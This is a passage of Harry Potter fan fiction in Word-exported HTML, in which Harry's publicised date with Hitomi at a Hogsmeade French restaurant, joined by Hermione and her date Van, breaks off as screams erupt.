class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry almost chocked on his cappuccino when he was reading\nthe Daily Prophet newspaper on Friday morning. Groaning, he let his head fall\nand rest on the table in front of him, barley missing a plate full of eggs.\nRon, seeing his friend down, did the first thing that came to his mind. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He snagged all the food he could get.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s wrong Harry?&#8221; Hermione asked, looking over at him as\nshe ate a bite of her toast. Instead of replying, Harry lifted up the\nnewspaper. Hermione brushed off the crumbs from her hands on a napkin before\ntaking it and looking at the front page.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry Potter goes on\ndate!</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">It was confirmed\nyesterday that the famous Harry Potter has asked out a girl besides Hermione\nGranger. Sources say that Hermione, the unofficial girlfriendfriend\nof Harry Potter, is going out with a lad named Van. Apparently, Harry and\nHitomi are going to be dining at Puer Duex, a fancy French restaurant on the\noutskirts of Hogsmeade. Upon hearing this, the manager Akito reserved the best\nbooth in the restaurant for-</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">Hermione sighed. &#8220;Can&#8217;t they even let you <i style="mso-bidi-font-style:normal">date</i> without having Newspapers all over\nyou?&#8221; Harry only groaned in response, not lifting his head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s okay, mate.&#8221; Ron said after swallowing his food. &#8220;At\nleast you won&#8217;t have to wait in that long line of people waiting to get in. In\nfact, I hear there is a month waiting time for a reservation!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked up at his friend with a dumb smile on his face.\n&#8220;Thanks, I feel <i style="mso-bidi-font-style:normal">so</i> much better now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He nodded, glad he could &#8216;help&#8217; him. &#8220;Anytime, mate. But\nbefore that, we got double potions today to get through. Hey! Maybe if Snape\nkills you, you won&#8217;t have to go on your date!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The three best friends all turned to the Ravenclaw table,\nwhere there was an uprising of cheers and hoots. &#8220;Actually,&#8221; Harry said, seeing\nHitomi and Van at the center of attention. &#8220;I have a feeling not even Voldemort\ncould stop this date from happening&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron, finally used to the name being said after six years,\nnodded. &#8220;Yeah. Sides, I don&#8217;t think You-Know-Who likes French cuisine.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This earned him grins from all those around him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As Harry had learned, when you don&#8217;t want time to speed up,\nit always does. Learning from experience, Harry went out of his way to make his\nday seem longer to him. This, of course, only proved to speed it up for him. At\none time he was actually shocked when the bell rang to end his double potions\nblock. Seeing as time was against him, Harry tried other manners to help him.\nInstead of participating in the pranks on first years, Harry went to the\nlibrary with Hermione to try and get some studying done.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This backfired when Harry fell asleep and woke up almost two\nfull hours later. Hermione apologized, as she was too busy reading her book to\nnotice that he was asleep and not &#8220;Studying intently&#8221; as she had thought he\nwas. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Yeah, like he would do <i style="mso-bidi-font-style:normal">that</i>.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">All in all, Harry soon found himself sitting on his bed with\nhis knees bouncing in his nervousness. &#8216;<i style="mso-bidi-font-style:normal">This\nis getting absurd!</i>&#8217; A voice chided him. &#8216;<i style="mso-bidi-font-style:\nnormal">Harry, dear, it&#8217;s a </i>date<i style="mso-bidi-font-style:normal"> for\ncrying out loud. You&#8217;ve taken Hermione out several times!</i>&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">That&#8217;s different.</i>&#8221;\nHe sighed, falling back on his bed and sprawling out. Hermione wouldn&#8217;t be back\nfor another twenty to thirty minutes, so he was alone for a bit. &#8220;You know,&#8221;\nHarry said aloud to try and ease his nervousness by getting rid of the silence.\n&#8220;I don&#8217;t think I want to do this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Celestial un-mounted her dagger perch and stood on his\nchest. &#8220;<i style="mso-bidi-font-style:normal">You have to do it, you promised.</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry, intrigued at the moving figure in front of him,\nchanged the subject.&nbsp; &#8220;Hey, how come you don&#8217;t\nmove around like that more often?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">Because it takes a\nlot of magical power to do this, and if I did it every day, you would&#8212;Harry!\nWe&#8217;re not discussing me; we&#8217;re talking about your date!</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t even speak French!&#8221; Harry suddenly realized. &#8220;What\nif the menus&#8212;&#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">I&#8217;ll take care of\nyou.&#8221; </i>Celestial promised him, spreading her wings and taking to the air,\nloving the feeling of the wind<i style="mso-bidi-font-style:normal">. </i>&#8220;<i style="mso-bidi-font-style:normal">I can speak almost every known language.</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; He asked, sitting up and watching his friend fly\naround in a small lazy circle. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Celestial gave him an odd look. &#8220;<i style="mso-bidi-font-style:\nnormal">Harry, dear, did you not find it odd for a dragon to speak to you in\nEnglish in the first place?</i>&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gave her his lopsided grin. &#8220;Er, no?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She sighed. &#8220;<i style="mso-bidi-font-style:normal">Honestly&#8230;</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So&#8230; Potter is making an appearance out in the public is\nhe?&#8221; The person mused as he sat in a large chair. &#8220;Such symbolism is not needed\nright now. Maybe I should turn this into my favour? Yes, yes that is what I\nshall do. Be ready, Potter, you fun ends tomorrow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry tucked in the silk button up shirt into his jeans as\nhe watched himself in the mirror. &#8220;This is it.&#8221; He told his reflection in the\nfull length looking glass in front of him. &#8220;No turning back now. How do I\nlook?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Like a Muggle.&#8221; The mirror replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry paused. He didn&#8217;t realize that his &#8216;fancy dressing&#8217;\ndidn&#8217;t meet the terms of the wizarding definition. Hermione, being raised by\nmuggle parents, never told him otherwise; as she dressed in pretty dresses and high\nheels. Certainly, dress robes were a school thing in their minds.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh well.&#8221; Harry told the mirror. &#8220;If she doesn&#8217;t like it,\nthere&#8217;s nothing I can do.&#8221; He slid his hands through his hair to try and style\nit more. The spikes clumped together and drooped a little. &#8220;I need a trim.&#8221; He\nmused. &#8220;It&#8217;s getting too thick.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You used to use your hair to hide your scar.&#8221; Ron told him,\nwatching his friend get ready. &#8220;Now you display it for the world. That&#8217;s a\nlittle risky isn&#8217;t it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled without humour. &#8220;I felt like a change.&#8221; He\nsaid, turning to let Ron look him over. &#8220;I didn&#8217;t think about going into public\nlike that at the time. How do I look?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Like your about to date Hermione.&#8221; Ron told him without\npause. &#8220;You really going through with this?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Have to.&#8221; Harry said, fingering his necklace.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, mate, you look good, but the necklace&#8230;. It clashes\nwith the look. It&#8217;s too &#8216;gosh&#8217; for the style you&#8217;re trying to pull.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s &#8216;Goth&#8217;, Ron, and I&#8217;m not taking it off.&#8221; Harry put\non his black shoes and tied them tight. He didn&#8217;t like them too much, but his\nnormal sneakers or timberlands clashed with the &#8216;civilized&#8217; look he had going\nfor him that night. &#8220;I guess I&#8217;m ready.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, where are you going to put your pouch?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry reached into his front pocket and pulled out a few\ngolden galleons. &#8220;My pockets will be full, but it&#8217;s better than having it hang\nat my waist.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron sighed. &#8220;That&#8217;s why you need your robe.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I never wear robes on dates!&#8221; the idea seemed to make him\nslightly offended. &#8220;You know that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry the amazing muggle raised wizard who fights\nYou-Know-Who as a past time! See him in action now at your local Puer Duex!&#8221;\nDean, Seamus, and Neville all applauded Ron&#8217;s declaration as Harry walked out\nof the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You look nice.&#8221; Hermione commented as Harry walked down the\nstairs and into the common room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is a first.&#8221; Harry said with a teasing smile.\n&#8220;Hermione actually <i style="mso-bidi-font-style:normal">beat</i> me in getting\nready!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gave him a knowing, yet teasing smile. &#8220;Well, I <i style="mso-bidi-font-style:normal">do</i> tend to take more time getting ready\nwhen it&#8217;s someone I <i style="mso-bidi-font-style:normal">like</i> going out\nwith.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry considered this. Her hair was bushy, and she was\nwearing a nice sweater and jeans like he was. Also there were no traces of\nmakeup or any other charms to enhance beauty. On a closer note, Harry noticed\nshe wasn&#8217;t even wearing her earrings that she always did when going out with\nhim. &#8220;Hmmmm&#8221; Harry hummed, looking her over. &#8220;I would say that you look very\nlovely, but then again, you look just like you do every day.&#8221; He grinned. &#8220;So\nshould I bother stating the obvious on how you <i style="mso-bidi-font-style:\nnormal">always </i>look nice?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione blushed. &#8220;Cool it, Romeo.&#8221; Hermione grinned while\ngrabbing his hand and leading him to the portrait hole. &#8220;You&#8217;re dating someone\nelse tonight, might want to save your corny one liners for later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right you are, Milady.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hitomi stopped leaning against the wall when she saw Harry\napproach her. &#8220;Hiya.&#8221; She called when he was within hearing distance. &#8220;Right on\ntime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s rude to keep a girl waiting, it is.&#8221; He replied with a\ncasual shrug. &#8220;Ready to go?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I am.&#8221; She looped her arm through Harry&#8217;s completely\nmissing the look on his face that told her he was a little uncomfortable with\nit. Also on the way out, she waved to several people.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Welcome to Puer Duex.&#8221; A person in a wizarding equivalent\nof a tuxedo welcomed them when they entered the restaurant. He gave the pair a\nlook over. The lady was wearing very nice dress robes while the male was more\nor less like a muggle. He was about to comment on the strict dress code of the\nplace, but stopped when he saw the scar on Harry&#8217;s head. &#8220;Mr. Potter and Ms.\nLang, I presume?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s us.&#8221; Hitomi proudly stated, a little louder than\nnecessary. Many people looked up at this and a few whipped out cameras and took\npictures. Harry, used to this, pulled his usual move of shielding his face and\nkeeping his eyes closed. If there weren&#8217;t and good pictures of him, the\nnewspapers wouldn&#8217;t put in the picture.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right this way.&#8221; The waiter said, motioning, but a voice\nmade him pause.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned to see Hermione, grinning like an idiot. Seems\nshe was able to convince her date to take her here after all. &#8220;Hermione!&#8221; Harry\nreturned her smile before looking back at the waiter. &#8220;Could we let our friends\ncome in too?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The waiter, already happy to be able to seat Harry potter,\ndidn&#8217;t think twice before answering. &#8220;Why, sure.&#8221; He confirmed. &#8220;I&#8217;m sure\nnobody would mind if <i style="mso-bidi-font-style:normal">Harry Potter</i>\ntook a table?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Several no&#8217;s answered him, showing that it was quite alright.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here you are, sirs.&#8221; The waiter said, putting menus down in\nfront of them at a circular table for four. &#8220;My name is Vash and I&#8217;ll be your\nwaiter tonight.&#8221; He was rather tall with flawless blonde hair. &#8220;May I get your\ndrink orders?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pulled out the chair for Hitomi, and frowned a bit\nwhen Van simply sat down in his own. Hermione gave Harry a look that stated\nthat she was clearly unimpressed with her date, but seated herself to save face\nfor Van anyway. &#8220;Sweet tea.&#8221; Hermione said when she was seated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, I guess butterbeer is outta the question here.&#8221; Harry\nsaid, getting a small laugh from his group. &#8220;Same here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Un-sweat tea.&#8221; Van said with a smirk. &#8220;With lemon.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll have water.&#8221; Hitomi added at the end.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very well, be right back.&#8221; Vash said with a slight bow. He\nretreated, leaving the four alone. Across from Harry was Van and to his right\nwas Hitomi and to his left sat Hermione. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice guy.&#8221; Hermione mused, picking up her menu. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very.&#8221; Harry agreed, looking at his own. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;French.&#8221; Van stated simply, arching an eyebrow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It is.&#8221; Hitomi looked over at Harry. &#8220;Can you read it?&#8221; She\nasked a little worried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Kind of&#8221; Harry said. It wasn&#8217;t quite a lie. A <i style="mso-bidi-font-style:normal">part</i> of him could read it. His dragon\npart to be more exact. Harry looked at the menu and blinked. When his eyelids\nwere open again, he now had blue dragon eyes. &#8220;Ah, that&#8217;s better.&#8221; He stated\nunder his breath. Thoughts quickly flashed through his head. &#8220;I think I&#8217;ll have\nthe g&#226;teaux de crabe.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice taste, Harry.&#8221; Hermione grinned. &#8220;I think I&#8217;ll have\nthe same.&#8221; She arched an eyebrow at him and gave a look that said &#8216;we&#8217;ll talk\nabout your language skills later, Harry.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gulped. He forgot about Hermione picking up on the\nfact that he would, in fact, never learn a different language on his own for no\nreason. His attention was quickly shifted to his date when she spoke to him.\n&#8220;Harry, what would you suggest&#8230;? I can&#8217;t read French?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Try the Gaine.&#8221; He said after a moment. &#8220;It&#8217;s spaghetti.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ooh, sounds nice.&#8221; She beamed at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think I&#8217;ll go with the Lasagne.&#8221; Van said, placing down\nhis menu and sliding his wand back into his robes.&nbsp; Harry gawked at him. He of all people should\nhave thought of a quick translating spell. Sparing a glance over at Hermione,\nhe saw he face that clearly informed him that she did the same when Harry had\nstated his order.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i style="mso-bidi-font-style:normal">Geeze, I&#8217;m a dip.</i>&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The waiter returned soon after words and took their orders.\nHarry ordered for both him and Hitomi and Van, seeing this, Ordered for\nHermione as well. This got him back into good graces with his date and the pair\nsoon started talking about random things.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry listened to his date half heartedly. He quickly found\nout that she was extremely self absorbed and rarely talked about anything other\nthan herself. He wondered briefly why he even was there. She obviously didn&#8217;t\nwant to know anything about him, probably thinking she knew everything from\ntext books on him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Finally, after several minutes of nothing about herself, she\nasked the first question to Harry. &#8220;So, it must be great to be you, huh? All\nthe attention and fame.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stopped in mid sentence when she heard this. She\nturned to Harry to see a shocked look on his face. Anyone who was anyone knew\nof the horrible nightmares Harry had, especially Gryffindors, who sometimes\nwere woken by his screams. His pain was legendary, and even Dumbledore had\ntoasted Harry on his bravery at bearing the weight that was thrust upon his\nshoulders in his sixth year.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hitomi, completely not thinking about Harry&#8217;s feelings,\nasked another question. &#8220;I mean, battling You-Know-Who and being a hero. It\nmust be great, huh?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stood abruptly, getting the attention of almost\neveryone around him. &#8220;Excuse me.&#8221; He said softly. &#8220;I&#8217;ll be right back.&#8221; And\nwith that, he walked away to the restrooms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked down, knowing what must be going through his\nmind right now. Knowing Harry, he would do one of two things. A.) scream very\nloudly to help vent the anger and frustration that came with being the boy who\nlived, or b.) Sulk quietly for a moment or two convincing himself that she\ndidn&#8217;t mean to upset him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She was hoping for A, but knew that he would no doubtly go\nfor the latter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A loud scream came from the direction Harry went and Hermione&#8217;s\neyes went wide. She instantly thought that Harry might have indeed vented his\nanger instead of brooding, but several more terrified screams followed the\nfirst. Van looked over at Hitomi, who returned his look. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I-i-i-it&#8217;s him!&#8221; a voice cried in fear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now, now, no need to get 